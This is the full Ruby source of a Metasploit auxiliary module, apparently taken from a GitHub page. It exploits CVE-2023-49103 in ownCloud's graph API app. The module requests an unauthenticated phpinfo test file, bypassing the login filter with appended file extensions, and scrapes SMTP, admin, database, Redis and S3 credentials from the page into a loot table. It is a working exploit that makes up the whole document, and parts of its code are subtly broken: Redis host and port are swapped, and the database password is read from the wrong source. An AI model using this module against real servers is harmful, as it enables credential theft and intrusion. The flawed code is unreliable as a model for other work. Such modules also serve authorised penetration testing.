/
owncloud_phpinfo_reader.rb
247 lines (225 loc) · 9.47 KB
/
owncloud_phpinfo_reader.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ownCloud Phpinfo Reader',
'Description' => %q{
Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed
contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter.
Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'creacitysec', # original PoC
'Ron Bowes', # research
'random-robbie', # additional PoC work and research
'Christian Fischer' # additional PoC work and research
],
'References' => [
[ 'URL', 'https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/'],
[ 'URL', 'https://github.com/creacitysec/CVE-2023-49103'],
[ 'URL', 'https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/'],
[ 'URL', 'https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/'],
[ 'CVE', '2023-49103']
],
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2023-11-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The URI of ownCloud', '/']),
OptEnum.new('ROOT', [true, 'Root path to start with', 'all', ['all', '', 'owncloud'] ]),
OptEnum.new('ENDFILE', [
true, 'End path to append', 'all', [
'all', 'css', 'js', 'svg', 'gif', 'png', 'html', 'ttf', 'woff', 'ico', 'jpg',
'jpeg', 'json', 'properties', 'min.map', 'js.map', 'auto.map'
]
]),
]
)
end
def roots
if datastore['ROOT'] == 'all'
return ['', 'owncloud']
end
datastore['ROOT']
end
def endfiles
if datastore['ENDFILE'] == 'all'
return [
'.css', '.js', '.svg', '.gif', '.png', '.html', '.ttf', '.woff', '.ico', '.jpg',
'.jpeg', '.json', '.properties', '.min.map', '.js.map', '.auto.map'
]
end
".#{datastore['ENDFILE']}"
end
def field_regex(field)
"<tr><td class=\"e\">#{field} <\/td><td class=\"v\">([^ ]+) <\/td><\/tr>"
end
def get_mappings
{
'License Key' => 'OWNCLOUD_LICENSE_KEY',
'Hostname' => 'HOSTNAME',
'Home' => 'HOME',
'Server Root' => 'APACHE_DOCUMENT_ROOT',
'PWD' => 'PWD',
'SMTP Host' => 'OWNCLOUD_MAIL_SMTP_HOST',
'SMTP Port' => 'OWNCLOUD_MAIL_SMTP_PORT',
'SMTP Username' => 'OWNCLOUD_MAIL_SMTP_NAME',
'SMTP Password' => 'OWNCLOUD_MAIL_SMTP_PASSWORD',
'ownCloud Username' => 'OWNCLOUD_ADMIN_USERNAME',
'ownCloud Password' => 'OWNCLOUD_ADMIN_PASSWORD',
'ownCloud Server Port' => 'SERVER_PORT',
'DB Host' => 'OWNCLOUD_DB_HOST',
'DB Username' => 'OWNCLOUD_DB_USERNAME',
'DB Password' => 'OWNCLOUD_DB_PASSWORD',
'DB Name' => 'OWNCLOUD_DB_NAME',
'DB Type' => 'OWNCLOUD_DB_TYPE',
'Redis Host' => 'OWNCLOUD_REDIS_HOST',
'Redis Port' => 'OWNCLOUD_REDIS_PORT',
'Redis DB' => 'OWNCLOUD_REDIS_DB',
'Redis Password' => 'OWNCLOUD_REDIS_PASSWORD',
'ObjectStore Endpoint' => 'OWNCLOUD_OBJECTSTORE_ENDPOINT',
'ObjectStore Region' => 'OWNCLOUD_OBJECTSTORE_REGION',
'ObjectStore Secret' => 'OWNCLOUD_OBJECTSTORE_SECRET',
'ObjectStore Key' => 'OWNCLOUD_OBJECTSTORE_KEY',
'ObjectStore Bucket' => 'OWNCLOUD_OBJECTSTORE_BUCKET'
}
end
def run
found = false
roots.each do |root|
break if found
endfiles.each do |endfile|
url = normalize_uri(target_uri.path, root, 'apps', 'graphapi', 'vendor', 'microsoft', 'microsoft-graph', 'tests', 'GetPhpInfo.php', endfile)
vprint_status("Checking: #{url}")
res = send_request_cgi(
'uri' => url
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
unless res.code == 200 && res.body.include?('phpinfo()')
print_bad("Not Exploited - HTTP Status Code: #{res.code}")
next
end
print_good("Found phpinfo page at: #{url}")
# store page
l = store_loot(
'owncloud.phpinfo',
'text/html',
rhost,
res.body,
'phpinfo.html'
)
print_good("Loot stored to: #{l}")
# process the page
mappings = get_mappings
extracted_values = {}
mappings.each do |field_name, field|
if res.body =~ /#{field_regex(field)}/
extracted_values[field_name] = ::Regexp.last_match(1)
print_good("#{field_name}: #{extracted_values[field_name]}")
end
end
table = Rex::Text::Table.new(
'Header' => 'Credentials',
'Indent' => 2,
'SortIndex' => 0,
'Columns' => [ 'Type', 'Host', 'Username', 'Password', 'Notes']
)
if extracted_values['SMTP Password']
credential_data = {
protocol: 'tcp',
workspace_id: myworkspace_id,
service_name: 'SMTP',
origin_type: :service,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED,
private_data: extracted_values['SMTP Password'],
private_type: :password
}
credential_data[:username] = extracted_values['SMTP Username'] if extracted_values['SMTP Username']
credential_data[:address] = extracted_values['SMTP Host'].nil? ? '127.0.0.1' : extracted_values['SMTP Host']
credential_data[:port] = extracted_values['SMTP Port'].nil? ? 25 : extracted_values['SMTP Port']
create_credential(credential_data)
table << ['SMTP', "#{credential_data[:address]}:#{credential_data[:port]}", credential_data[:username], extracted_values['SMTP Password'], '']
end
if extracted_values['ownCloud Password']
credential_data = {
protocol: 'tcp',
port: rport,
address: rhost,
workspace_id: myworkspace_id,
service_name: 'ownCloud',
origin_type: :service,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED,
private_data: extracted_values['ownCloud Password'],
private_type: :password
}
credential_data[:username] = extracted_values['ownCloud Username'].nil? ? '' : extracted_values['ownCloud Username']
create_credential(credential_data)
table << ['ownCloud', "#{rhost}:#{rport}", credential_data[:username], extracted_values['ownCloud Password'], '']
end
## DB
if extracted_values['DB Password']
credential_data = {
protocol: 'tcp',
port: extracted_values['DB Host'].split(':')[1],
address: extracted_values['DB Host'].split(':')[0],
workspace_id: myworkspace_id,
service_name: extracted_values['DB Type'],
origin_type: :service,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED,
private_data: datastore['DB Password'],
private_type: :password
}
credential_data[:username] = extracted_values['DB Password'].nil? ? '' : extracted_values['DB Username']
create_credential(credential_data)
table << [extracted_values['DB Type'], "#{rhost}:#{rport}", credential_data[:username], extracted_values['DB Password'], '']
end
## REDIS
if extracted_values['Redis Password']
credential_data = {
protocol: 'tcp',
port: extracted_values['Redis Host'],
address: extracted_values['Redis Port'],
workspace_id: myworkspace_id,
service_name: 'redis',
origin_type: :service,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED,
private_data: extracted_values['Redis Password'],
private_type: :password
}
create_credential(credential_data)
table << ['redis', "#{extracted_values['Redis Host']}:#{extracted_values['Redis Port']}", '', extracted_values['Redis Password'], '']
end
## OBJECTSTORE
if extracted_values['ObjectStore Secret'] && extracted_values['ObjectStore Key']
table << ['S3 Object Store', extracted_values['ObjectStore Region'], "Key: #{extracted_values['ObjectStore Key']}", "Secret: #{extracted_values['ObjectStore Secret']}", "Endpoint: #{extracted_values['ObjectStore Endpoint']}, Bucket: #{extracted_values['ObjectStore Bucket']}"]
end
print_good(table.to_s)
found = true
break # no need to keep going, we already got what we wanted
end
end
end
end